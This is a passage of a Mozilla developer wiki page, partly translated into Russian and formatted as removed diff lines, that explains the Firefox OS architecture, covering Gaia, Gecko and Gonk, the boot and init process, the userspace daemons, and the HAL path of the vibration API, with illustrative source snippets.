- <p>Это пользовательский интерфейс платформы Firefox OS. Всё, что отображается на экране с момента запуска Firefox OS – результат работы слоя Gaia. Именно Gaia реализует функцию блокировки экрана, начальный экран и все стандартные приложения, которые обычно установлены на современных смартфонах. Gaia реализована полностью на HTML, CSS и JavaScript. При этом она лишь реализует интерфейс взаимодействия с ниже лежащим уровнем, слоем Gecko, посредством открытых Web API. Сторонние приложения устанавливаются на уровне Gaia.</p>
- </dd>
- <dt><a href="/en-US/docs/Gecko" title="/en-US/docs/Accessibility/AT-APIs/Gecko">Gecko</a></dt>
- <dd>
- <p>Это среда исполнения приложений под Firefox OS; т.е. этот слой обеспечивает поддержку трёх открытых стандартов: HTML, CSS, JS. Гарантируется правильная работа API на всех операционных системах, поддерживающих Gecko. Это достигается за счёт того, что в Gecko включены, среди прочего, поддержка сетевых протоколов, графический движок, виртуальная машина JavaScript и промежуточные слои-порты.</p>
- </dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Gonk">Gonk</a></dt>
- <dd>Gonk – это низкоуровневый слой платформы Fiefox OS, состоящий из ядра Linux (основан на Android Open Source Project (AOSP)) и уровня абстракции аппаратного обеспечения (HAL). Ядро и несколько пользовательских библиотек – это популярные проекты с открытым исходным кодом: Linux, libusb, bluez и т.д. Некоторые части HAL поставляются с AOSP: GPS, камера и другие. Можно сказать, Gonk – очень простой дистрибутив Linux. Gonk – это целевая платформа для Gecko, т.е. Gecko портируется на Gonk, также как и на OS X, Windows и Android. Разработчикам рекомендуется рассматривать Gonk как «чёрный ящик», выполняющий всю сложную работу по управлению аппаратной частью. Т.к. Mozilla полностью контролирует Gonk, Gecko может получить доступ к таким интерфейсам, которые на других операционных системах получить невозможно. Например, Gecko обладает прямым доступом ко всему стэку телефонии и к буферу отображаемых кадров на Gonk, но не имеет этих возможностей на остальных операционных системах.system.</dd>
- <dt><a name="Jank">Jank</a></dt>
- <dd>This term, often used in the mobile apps space, refers to the effect of slow/inefficient code operations in an app, which block updating of the UI and cause it to become laggy or unresponsive. Our Gaia engineers use various optimization techniques to try to avoid this at all costs.</dd>
-</dl>
-
-<h2 id="Overall_architecture">Overall architecture</h2>
-
-<p>The following figure compares architectures between proprietary platforms and Firefox OS.</p>
-
-<p><img alt="on the left is a native mobile architecture stack, on the right is the Firefox OS architecture. they are similarm except that the native stack is all proprietary device functionality, and the Firefox OS stack is all done with open source and web technologies." src="https://mdn.mozillademos.org/files/9487/general-architecture.png" style="display: block; height: 488px; margin: 0px auto; width: 997px;"></p>
-
-<p>Firefox OS eliminates the native API layer between the operating system and application layers. This integrated design reduces platform overhead and simplifies security without sacrificing performance or a rich user smart phone experience.</p>
-
-<ol>
- <li><a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> is the core web apps of the device, and user interface layer, all written in HTML5, CSS and JavaScript, with a number of exposed APIs to allow the UI code to interact with the phone hardware and Gecko functionality.</li>
- <li><a href="/en-US/docs/Mozilla/Gecko">Gecko</a> is the web engine and presentation layer in Firefox OS that connects hardware to HTML by serving as the interface between web content and the underlying device. Gecko provides an HTML5 parsing and rendering engine, programmatic access to hardware functionality via secure web APIs, a comprehensive security framework, update management, and other core services.</li>
- <li><a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> is the kernel-level component in the Firefox OS stack that serves as the interface between Gecko and the underlying hardware. Gonk controls the underlying hardware and exposes hardware capabilities to Web APIs implemented in Gecko. Gonk can be seen as the “black box” that does all the complex, detailed work behind the scenes to control the mobile device by enacting requests at the hardware level.</li>
- <li>The mobile device is the mobile phone hardware running Firefox OS. The OEM is responsible for providing the mobile device.</li>
-</ol>
-
-<h2 id="Specific_Firefox_OS_architecture">Specific Firefox OS architecture</h2>
-
-<p><img alt="Firefox OS Architecture" src="/files/4605/FirefoxOS.png" style="display: block; height: 915px; margin: 0px auto; width: 754px;"></p>
-
-<h2 id="Firefox_OS_bootup_procedure">Firefox OS bootup procedure</h2>
-
-<p>This section describes the process by which Firefox OS devices boot, what parts are involved, and where. Вкратце, основная система загрузки начинается с загрузчиков ядра, происходит инициализация машинного кода, затем запускается порт Gecko и сам Gecko в пользовательском пространстве, затем, наконец, запускаются системные приложения, оконный менеджер и программа начального экрана. Поверх этого и будут запускаться остальные приложения.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7491/bootup.png" style="display: block; height: 1979px; margin: 0px auto; width: 2112px;"></p>
-
-<h3 id="The_bootstrapping_process">The bootstrapping process</h3>
-
-<p>When a Firefox OS device is first turned on, execution begins in the primary bootloader. From there, the process of loading the main operating system proceeds in the typical way; a succession of increasingly higher-level bootloaders bootstrap the next loader in the chain. At the end of the process, execution is handed off to the Linux kernel.</p>
-
-<p>There are a few points worth noting about the boot process:</p>
-
-<ul>
- <li>The bootloaders usually display the first splash screen seen by the user during device startup; this is typically a vendor logo.</li>
- <li>The bootloaders implement flashing an image to the device. Different devices use different protocols; most phones use the <a href="http://android-dls.com/wiki/index.php?title=Fastboot" title="http://android-dls.com/wiki/index.php?title=Fastboot">fastboot protocol</a>, but the Samsung Galaxy S II uses the odin protocol.</li>
- <li>By the end of the bootstrapping process, the modem image is usually loaded and running on the modem processor. How this happens is highly device-specific and may be proprietary.</li>
-</ul>
-
-<h3 id="Ядро_Linux">Ядро Linux</h3>
-
-<p>Ядро Linux, используемое Gonk очень похоже на основную версию Linux, от которой и происходит (основано на Android Open Source Project). В нём есть несколько изменений от AOSP, которые не вошли в основную версию ядра Linux. Вдобавок производители иногда вносят изменения в ядро и загружают эти изменения в свои продукты. Однако, в основном ядро Linux близко к основной версии.</p>
-
-<p>Процесс загрузки Linux хорошо задокументирован и описан на многих Интернет-ресурсах, поэтому данная статья не будет раскрывать эту тему.</p>
-
-<p>Ядро Linux включает устройство и запускает жизненно необходимые процессы. Оно выполняет процессы, определённые в init.rc и его наследнике init.b2g.rc, чтобы запустить необходимые процессы, такие как b2g (базовый процесс Firefox OS, содержащий Gecko) и rild (процесс, связанный с обеспечением возможностей телефонии, он может принадлежать разным чипсетам). В конце запускается процесс init, подобно тому, как это происходит в большинстве UNIX-подобных операционных системах.</p>
-
-<p>Как только процесс init запущен, ядро Linux начинает обрабатывает системные вызовы из пользовательского пространства, аппаратной части и прерывания. Доступ ко многим аппаратным возможностям предоставляется пользовательской части с помощью sysfs. Например, ниже представлен фрагмент кода в Gecko, который считывает состояние батареи:</p>
-
-<pre class="brush:cpp;">FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
-double capacity = dom::battery::kDefaultLevel * 100;
-if (capacityFile) {
- fscanf(capacityFile, "%lf", &amp;capacity);
- fclose(capacityFile);
-}</pre>
-
-<h3 id="More_on_the_init_process">More on the init process</h3>
-
-<p>Процесс init в Gonk производит загрузку файловой системы и запускает системные сервисы. После этого, Gonk работает в качестве менеджера процессов. Это довольно похоже на реализацию инициализации в других UNIX-подобных операционных системах. Интерпретируются сценарии (т.е. файлы init*.rc), состоящие из команд, описывающих, что должно быть сделано для загрузки многочисленных сервисов. Init.rc Firefox OS – это обычно вариант init.rc Android для того же устройства с исправлениями, необходимыми для Fiefox OS. Они могут отличаться от устройства к устройству.</p>
-
-<p>Ключевой задачей процесса init является запуск процесса boot to Gecko, ядра операционной системы Firefox OS.</p>
-
-<p>Пример кода в init.rc:</p>
-
-<pre>service b2g /system/bin/b2g.sh
- class main
- onrestart restart media</pre>
-
-<div class="note">
-<p><strong>Note:</strong> Exactly how much <code>init.rc</code> differs from the Android version varies from device to device; sometimes, <code>init.b2g.rc</code> is simply appended, and sometimes the patches are more significant.</p>
-</div>
-
-<h2 id="The_userspace_process_architecture">The userspace process architecture</h2>
-
-<p>Now it's useful to take a high-level look at how the various components of Firefox OS fit together and interact with one another. This diagram shows the primary userspace processes in Firefox OS.</p>
-
-<p><a href="/files/3849/B2G userspace architecture.svg"><img alt="Userspace diagram" src="/files/3849/B2G%20userspace%20architecture.svg" style="float: right; height: 491px; position: relative; width: 520px;"></a></p>
-
-<div class="note">
-<p><strong>Note:</strong> Keep in mind that since Firefox OS is under active development, this diagram is subject to change, and may not be entirely accurate.</p>
-</div>
-
-<p>The <code>b2g</code> process is the primary system process. It runs with high privileges; it has access to most hardware devices. <code>b2g</code> communicates with the modem, draws to the display framebuffer, and talks to GPS, cameras, and other hardware features. Internally, <code>b2g</code> runs the Gecko layer (implemented by <code>libxul.so</code>). See <a href="#Gecko">Gecko</a> for details on how the Gecko layer works, and how <code>b2g</code> communicates with it.</p>
-
-<h3 id="b2g">b2g</h3>
-
-<p>The <code>b2g</code> process may, in turn, spawn a number of low-rights <strong>content processes</strong>. These processes are where web applications and other web content are loaded. These processes communicate with the main Gecko server process through <a href="/en-US/docs/IPDL" title="/en-US/docs/IPDL">IPDL</a>, a message-passing system.</p>
-
-<p>The <code>b2g</code> process runs libxul, which references <code>b2g/app/b2g.js</code> to get default preferences. From the preferences it will open the described HTML file <code>b2g/chrome/content/shell.html</code>, which is compiled within the <code>omni.ja</code> file. <code>shell.html</code> includes <code>b2g/chrome/content/shell.js</code> file, which triggers the Gaia <code>system</code> app.</p>
-
-<h3 id="rild">rild</h3>
-
-<p>The <code>rild</code> process is the interface to the modem processor. <code>rild</code> is the daemon that implements the <strong>Radio Interface Layer</strong> (RIL). It's a proprietary piece of code that's implemented by the hardware vendor to talk to their modem hardware. <code>rild</code> makes it possible for client code to connect to a UNIX-domain socket to which it binds. It's started up by code like this in the <code>init</code> script:</p>
-
-<pre>service ril-daemon /system/bin/rild
- socket rild stream 660 root radio</pre>
-
-<h3 id="rilproxy">rilproxy</h3>
-
-<p>In Firefox OS, the <code>rild</code> client is the <code>rilproxy</code> process. This acts as a dumb forwarding proxy between <code>rild</code> and <code>b2g</code>. This proxy is needed as an implementation detail; suffice it to say, it is indeed necessary. The <a href="https://github.com/mozilla-b2g/rilproxy" title="https://github.com/mozilla-b2g/rilproxy"><code>rilproxy</code> code can be found on GitHub</a>.</p>
-
-<h3 id="mediaserver">mediaserver</h3>
-
-<p>The <a href="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice" title="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice"><code>mediaserver</code> process</a> controls audio and video playback. Gecko talks to it through an Android Remote Procedure Call (RPC) mechanism. Some of the media that Gecko can play (OGG Vorbis audio, OGG Theora video, and <a href="http://www.webmproject.org/about/" title="http://www.webmproject.org/about/">WebM</a> video) are decoded by Gecko and sent directly to the <code>mediaserver</code> process. Other media files are decoded by <code>libstagefright</code>, which is capable of accessing proprietary codecs and hardware encoders.</p>
-
-<div class="note">
-<p><strong>Note:</strong> The <code>mediaserver</code> process is a "temporary" component of Firefox OS; it's there to aid in our initial development work, but is expected to go away eventually. This will most likely not happen until Firefox OS 2.0 at the earliest, however.</p>
-</div>
-
-<h3 id="netd">netd</h3>
-
-<p>The <code>netd</code> process is used to configure network interfaces.</p>
-
-<h3 id="wpa_supplicant">wpa_supplicant</h3>
-
-<p>The <code>wpa_supplicant</code> process is the standard UNIX-style daemon that handles connectivity with WiFi access points.</p>
-
-<h3 id="dbus-daemon">dbus-daemon</h3>
-
-<p>The dbus-daemon implements <a href="http://www.freedesktop.org/wiki/Software/dbus" title="http://www.freedesktop.org/wiki/Software/dbus">D-Bus</a>, a message bus system that Firefox OS uses for Bluetooth communication.</p>
-
-<h2 id="Gecko">Gecko</h2>
-
-<p><a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>, as previously mentioned, is the implementation of web standards (<a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, and <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>) that is used to implement everything the user sees on Firefox OS, and control interactions with the phone hardware. Web apps connect HTML5 to hardware via controlled, secure Web APIs, implemented in<br>
- Gecko. The Web APIs provide programmatic access to features in the underlying mobile device hardware (such as the battery or vibration), along with data that is stored on, or available to, a device (such as the calendar or contacts). Web content invokes the accessible Web APIs within HTML5.</p>
-
-<p>An app consists of a collection of related HTML5 web content. To build web apps that run on Firefox OS mobile devices, developers simply assemble, package, and distribute this web content. At run time, this web content is interpreted, compiled, and rendered in a web browser. For more information on Apps, see the <a href="/en-US/Apps">App Center</a>.</p>
-
-<div class="note">
-<p><strong>Note</strong>: To search the Gecko codebase, you could use <a href="http://dxr.mozilla.org">http://dxr.mozilla.org</a>. It’s more fancy and provides good reference features, but with limited repositories. Or you could try the traditional <a href="http://mxr.mozilla.org">http://mxr.mozilla.org</a>, which contains more Mozilla projects.</p>
-</div>
-
-<h3 id="Gecko_architecture_diagram">Gecko architecture diagram</h3>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="height: 591px; width: 979px;"></p>
-
-<ul>
- <li><strong>Security Framework</strong>: contains
-
- <ul>
- <li><strong>Permission Manager</strong>: Gateway to accessing functionality in the Web API.</li>
- <li><strong>Access Control List</strong>: Matrix of roles and permissions required to access Web API functionality.</li>
- <li><strong>Credential Validation</strong>: Authentication of apps/users.</li>
- <li><strong>Permissions Store</strong>: Set of privileges required to access Web API functionality.</li>
- </ul>
- </li>
- <li><strong>Web API</strong>: Set of standard APIs that exposes hardware functionality to web content. Provides web apps with secure, programmatic access to features in the underlying mobile device hardware, along with data that is stored on—or available to—a device.</li>
- <li><strong>I/O</strong>: Interface to the hardware and data store(s).</li>
- <li><strong>Software Updates</strong>: Obtain and install updates to system software and third-party apps.</li>
- <li><strong>Content Layout &amp; Rendering</strong>: Engine that parses, interprets, and executes web content and, with formatting information, displays the formatted content to the user.</li>
- <li><strong>b2g process</strong>: (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. Running apps are child processes of b2g.</li>
-</ul>
-
-<h3 id="Gecko_files_related_to_Firefox_OS">Gecko files related to Firefox OS</h3>
-
-<h4 id="b2g_2">b2g/</h4>
-
-<p>The b2g folder contains mainly Firefox OS-related functions.</p>
-
-<h5 id="b2gchromecontent">b2g/chrome/content</h5>
-
-<p>Contains Javascript files run above the system app.</p>
-
-<h5 id="b2gchromecontentshell.html">b2g/chrome/content/shell.html</h5>
-
-<p>The entry point into Gaia — the HTML for the system app. <code>shell.html</code> pulls in <code>settings.js</code> and <code>shell.js</code>:</p>
-
-<pre class="brush: html">&lt;script type="application/javascript;version=1.8" src="chrome://browser/content/settings.js"&gt; &lt;/script&gt;
-&lt;script type="application/javascript;version=1.8" src="chrome://browser/content/shell.js"&gt; &lt;/script&gt;</pre>
-
-<p><code>settings.js</code> contains system default setting parameters.</p>
-
-<h5 id="b2gchromecontentshell.js">b2g/chrome/content/shell.js</h5>
-
-<p><code>shell.js</code> is the first script to load in the Gaia <code>system</code> app.</p>
-
-<p><code>shell.js</code> imports all required modules, registers key listeners, defines <code>sendCustomEvent</code> and <code>sendChromeEvent</code> to communicate with Gaia, and provides webapp install helpers: indexedDB quota, RemoteDebugger, keyboard helper, and screenshot tool.</p>
-
-<p>But the most important function of <code>shell.js</code> is to launch the Gaia <code>system</code> app, then hand over the overall systems related management work to the Gaia <code>system</code> app.</p>
-
-<pre class="brush: js">let systemAppFrame =
- document.createElementNS('http://www.w3.org/1999/xhtml', 'html:iframe');
- ...
- container.appendChild(systemAppFrame);</pre>
-
-<h5 id="b2gappb2g.js">b2g/app/b2g.js</h5>
-
-<p>This script contains predefined settings, like about:config in browser, and the same as Gaia's pref.js. These settings can be changed from the Settings app, and can be overwritten with Gaia’s user.js in the Gaia build script.</p>
-
-<h4 id="domAPI">dom/{API}</h4>
-
-<p>New API implementations (post-b2g) will be located in <code>dom/</code>. Older APIs will be located in <code>dom/base</code>, for example <code>Navigator.cpp</code>.</p>
-
-<h5 id="domapps">dom/apps</h5>
-
-<p><code>.jsm</code> will be loaded — <code>.js</code> API implementations such as <code>webapp.js</code> install, <code>getSelf</code>, etc.</p>
-
-<h5 id="domappsPermissionsTable.jsm">dom/apps/PermissionsTable.jsm</h5>
-
-<p>All permissions are defined in <a href="http://mxr.mozilla.org/mozilla-central/source/dom/apps/PermissionsTable.jsm">PermissionsTable.jsm</a></p>
-
-<h4 id="domwebidl">dom/webidl</h4>
-
-<p>WebIDL is the language used to define web APIs. For supported attributes, read <a href="https://developer.mozilla.org/en-US/docs/Mozilla/WebIDL_bindings">WebIDL_bindings</a>.</p>
-
-<h4 id="halgonk">hal/gonk</h4>
-
-<p>This directory contains files related to the gonk port layer.</p>
-
-<h4 id="Generated_files">Generated files</h4>
-
-<h5 id="modulelibprefsrcinitall.js">module/libpref/src/init/all.js</h5>
-
-<p>Contains all config files.</p>
-
-<h5 id="systemb2g_omni.ja_and_omni.js">/system/b2g/ omni.ja and omni.js</h5>
-
-<p>Contains the pack of styles for resources in the device.</p>
-
-<h3 id="Processing_input_events">Processing input events</h3>
-
-<p>Most action inside Gecko is triggered by user actions. These actions are represented by input events (such as button presses, touches to a touch screen device, and so forth). These events enter Gecko through the <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">Gonk implementation</a> of <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppShell" title="">nsIAppShell</a></code>, a Gecko interface that is used to represent the primary entrance points for a Gecko application; that is, the input device driver calls methods on the <code>nsAppShell</code> object that represents the Gecko subsystem in order to send events to the user interface.</p>
-
-<p>For example:</p>
-
-<pre class="brush:cpp;">void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
- int32_t deviceId,
- int32_t source,
- uint32_t policyFlags,
- int32_t action,
- int32_t flags,
- int32_t keyCode,
- int32_t scanCode,
- int32_t metaState,
- nsecs_t downTime) {
- UserInputData data;
- data.timeMs = nanosecsToMillisecs(eventTime);
- data.type = UserInputData::KEY_DATA;
- data.action = action;
- data.flags = flags;
- data.metaState = metaState;
- data.key.keyCode = keyCode;
- data.key.scanCode = scanCode;
- {
- MutexAutoLock lock(mQueueLock);
- mEventQueue.push(data);
- }
- gAppShell-&gt;NotifyNativeEvent();
-}</pre>
-
-<p>These events come from the standard Linux <code>input_event</code> system. Firefox OS uses a <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/InputReader.cpp" rel="custom">light abstraction layer</a> over that; this provides some nice features like event filtering. You can see the code that creates input events in the <code>EventHub::getEvents()</code> method in <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/EventHub.cpp" rel="custom">widget/gonk/libui/EventHub.cpp</a>.</p>
-
-<p>Once the events are received by Gecko, they're dispatched into the DOM by <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">nsAppShell</a></code>:</p>
-
-<pre class="brush:cpp;">static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
- uint32_t msg,
- uint64_t timeMs,
- uint32_t flags) {
- nsKeyEvent event(true, msg, NULL);
- event.keyCode = keyCode;
- event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
- event.time = timeMs;
- event.flags |= flags;
- return nsWindow::DispatchInputEvent(event);
-}
-</pre>
-
-<p>After that, the events are either consumed by Gecko itself or are dispatched to Web applications as <a href="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events" title="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events">DOM events</a> for further processing.</p>
-
-<h3 id="Graphics">Graphics</h3>
-
-<p>At the very lowest level, Gecko uses <a href="http://www.khronos.org/opengles/2_X/" title="http://www.khronos.org/opengles/2_X/">OpenGL ES 2.0</a> to draw to a GL context that wraps the hardware frame buffers. This is done in the Gonk implementation of <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp" rel="custom">nsWindow</a></code> by code similar to this:</p>
-
-<pre class="brush:cpp;">gNativeWindow = new android::FramebufferNativeWindow();
-sGLContext = GLContextProvider::CreateForWindow(this);</pre>
-
-<p>The <code>FramebufferNativeWindow</code> class is brought in directly from Android; see <a href="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp" title="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp"><code>FramebufferNativeWindow.cpp</code></a>. This uses the <strong>gralloc</strong> API to access the graphics driver in order to map buffers from the framebuffer device into memory.</p>
-
-<p>Gecko uses its <a href="/en-US/docs/Gecko/Layers" title="/en-US/docs/Gecko/Layers">Layers</a> system to composite drawn content to the screen. In summary, what happens is this:</p>
-
-<ol>
- <li>Gecko draws separate regions of pages into memory buffers. Sometimes these buffers are in system memory; other times, they're textures mapped into Gecko's address space, which means that Gecko is drawing directly into video memory. This is typically done in the method <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#83" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>BasicThebesLayer::PaintThebes()</code></a>.</li>
- <li>Gecko then composites all of these textures to the screen using OpenGL commands. This composition occurs in <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/opengl/ThebesLayerOGL.cpp#124" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>ThebesLayerOGL::RenderTo()</code></a>.</li>
-</ol>
-
-<p>The details of how Gecko handles the rendering of web content is outside the scope of this document.</p>
-
-<h3 id="Hardware_Abstraction_Layer_(HAL)">Hardware Abstraction Layer (HAL)</h3>
-
-<p>The Gecko hardware abstraction layer is one of the porting layers of Gecko. It handles low-level access to system interfaces across multiple platforms using a C++ API that's accessible to the higher levels of Gecko. These APIs are implemented on a per-platform basis inside the Gecko HAL itself. This hardware abstraction layer is not exposed directly to JavaScript code in Gecko — this part of the itneraction is handled by the Web APIs.</p>
-
-<p>Let's look at the process form a high level. When a user makes a request to use a phone feature (such as dialing a number, accessing a local wifi network, or connecting via Bluetooth), all layers in the Firefox OS technology stack are involved in carrying out the request. Apps and web content in the Gaia layer submits requests to access the underlying device via Web API calls (invoked from within HTML5 functions), which are implemented in Gecko. Gecko in turn submits the request to Gonk. A single request from Gecko can trigger a complex series of operations, initiated and managed by Gonk, in the mobile phone.</p>
-
-<h4 id="How_the_HAL_works">How the HAL works</h4>
-
-<p>Let's consider the <a href="/ru/docs/Web/API/Window/navigator/vibrate" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>Vibration</code></a> API as an example. The Gecko HAL for this API is defined in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/Hal.h" rel="custom">hal/Hal.h</a>. In essence (simplifying the method signature for clarity's sake), you have this function:</p>
-
-<pre>void Vibrate(const nsTArray&lt;uint32&gt; &amp;pattern);</pre>
-
-<p>This is the function called by Gecko code to turn on vibration of the device according to the specified pattern; a corresponding function exists to cancel any ongoing vibration. The Gonk implementation of this method is in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/gonk/GonkHal.cpp" rel="custom">hal/gonk/GonkHal.cpp</a>:</p>
-
-<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
- EnsureVibratorThreadInitialized();
- sVibratorRunnable-&gt;Vibrate(pattern);
-}
-</pre>
-
-<p>This code sends the request to start vibrating the device to another thread, which is implemented in <code>VibratorRunnable::Run()</code>. This thread's main loop looks like this:</p>
-
-<pre class="brush:cpp;">while (!mShuttingDown) {
- if (mIndex &lt; mPattern.Length()) {
- uint32_t duration = mPattern[mIndex];
- if (mIndex % 2 == 0) {
- vibrator_on(duration);
- }
- mIndex++;
- mMonitor.Wait(PR_MillisecondsToInterval(duration));
- }
- else {
- mMonitor.Wait();
- }
-}
-</pre>
-
-<p><code>vibrator_on()</code> is the Gonk HAL API that turns on the vibrator motor. Internally, this method sends a message to the kernel driver by writing a value to a kernel object using <code>sysfs</code>.</p>
-
-<h4 id="Fallback_HAL_API_implementations">Fallback HAL API implementations</h4>
-
-<p>The Gecko HAL APIs are supported across all platforms. When Gecko is built for a platform that doesn't expose an interface to vibration motors (such as a desktop computer), then a fallback implementation of the HAL API is used. For vibration, this is implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/fallback/FallbackVibration.cpp" rel="custom">hal/fallback/FallbackVibration.cpp</a>.</p>
-
-<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt; &amp;pattern) {
-}</pre>
-
-<h4 id="Sandbox_implementations">Sandbox implementations</h4>
-
-<p>Because most web content runs in content processes with low privileges, we can't assume those processes have the privileges needed to be able to (for example), turn on and off the vibration motor. In addition, we want to have a central location for handling potential race conditions. In the Gecko HAL, this is done through a "sandbox" implementation of the HAL. This sandbox implementation simply proxies requests made by content processes and forwards them to the "Gecko server" process. The proxy requests are sent using IPDL.</p>
-
-<p>For vibration, this is handled by the <code>Vibrate()</code> function implemented in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>:</p>
-
-<pre class="brush:cpp;">void Vibrate(const nsTArray&lt;uint32_t&gt;&amp; pattern, const WindowIdentifier &amp;id) {
- AutoInfallibleTArray&lt;uint32_t, 8&gt; p(pattern);
-
- WindowIdentifier newID(id);
- newID.AppendProcessID();
- Hal()-&gt;SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
-}</pre>
-
-<p>This sends a message defined by the <code>PHal</code> interface, described by IPDL in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/PHal.ipdl" rel="custom">hal/sandbox/PHal.ipdl</a>. This method is described more or less as follows:</p>
-
-<pre>Vibrate(uint32_t[] pattern);</pre>
-
-<p>The receiver of this message is the <code>HalParent::RecvVibrate()</code> method in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>, which looks like this:</p>
-
-<pre class="brush:cpp;">virtual bool RecvVibrate(const InfallibleTArray&lt;unsigned int&gt;&amp; pattern,
- const InfallibleTArray&lt;uint64_t&gt; &amp;id,
- PBrowserParent *browserParent) MOZ_OVERRIDE {
-
- hal::Vibrate(pattern, newID);
- return true;
-}</pre>
-
-<p>This omits some details that aren't relevant to this discussion; however, it shows how the message progresses from a content process through Gecko to Gonk, then to the Gonk HAL implementation of <code>Vibrate()</code>, and eventually to the Vibration driver.</p>
-
-<h3 id="DOM_APIs">DOM APIs</h3>
-
-<p><strong>DOM interfaces</strong> are, in essence, how web content communicates with Gecko. There's more involved than that, and if you're interested in added details, you can read <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="/en-US/docs/DOM/About_the_Document_Object_Model">about the DOM</a>. DOM interfaces are defined using <a href="/en-US/docs/XPIDL" title="/en-US/docs/XPIDL">IDL</a>, which comprises both a foreign function interface (FFI) and object model (OM) between JavaScript and C++.</p>
-
-<p>The vibration API is exposed to web content through an IDL interface, which is provided in <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsIDOMNavigator.idl" rel="custom">nsIDOMNavigator.idl</a>:</code></p>
-
-<pre>[implicit_jscontext] void mozVibrate(in jsval aPattern);</pre>
-
-<p>The <a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/Jsval" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JSVAL_IS_OBJECT"><code>jsval</code></a> argument indicates that <code>mozVibrate()</code> (which is our vendor-prefixed implementation of this non-finalized vibration specification) accepts as input any JavaScript value. The IDL compiler, <a href="/en-US/docs/XPIDL/xpidl" title="/en-US/docs/XPIDL/xpidl"><code>xpidl</code></a>, generates a C++ interface that's then implemented by the <code>Navigator</code> class in <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/base/Navigator.cpp" rel="custom">Navigator.cpp</a></code>.</p>
-
-<pre class="brush:cpp;">NS_IMETHODIMP Navigator::MozVibrate(const jsval&amp; aPattern, JSContext* cx) {
- // ...
- hal::Vibrate(pattern);
- return NS_OK;
-}</pre>
-
-<p>There's a lot more code in this method than what you see here, but it's not important for the purposes of this discussion. The point is that the call to <code>hal::Vibrate()</code> transfers control from the DOM to the Gecko HAL. From there, we enter the HAL implementation discussed in the previous section and work our way down toward the driver. On top of that, the DOM implementation doesn't care at all what platform it's running on (Gonk, Windows, OS X, or anything else). It also doesn't care whether the code is running in a content process or in the Gecko server process. Those details are all left to lower levels of the system to deal with.</p>
-
-<p>The vibration API is a very simple API, which makes it a good example. The <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS API</a> is an example of a more complex API which uses its own "remoting" layer connecting content processes to the server.</p>
-
-<h2 id="Radio_Interface_Layer_(RIL)">Radio Interface Layer (RIL)</h2>
-
-<p>The RIL was mentioned in the section <a href="#The_userspace_process_architecture">The userspace process architecture</a>. This section will examine how the various pieces of this layer interact in a bit more detail.</p>
-
-<p>The main components involved in the RIL are:</p>
-
-<dl>
- <dt><code>rild</code></dt>
- <dd>The daemon that talks to the proprietary modem firmware.</dd>
- <dt><code>rilproxy</code></dt>
- <dd>The daemon that proxies messages between <code>rild</code> and Gecko (which is implemented in the <code>b2g</code> process). This overcomes the permission problem that arises when trying to talk to <code>rild</code> directly, since <code>rild</code> can only be communicated with from within the <code>radio</code> group.</dd>
- <dt><code>b2g</code></dt>
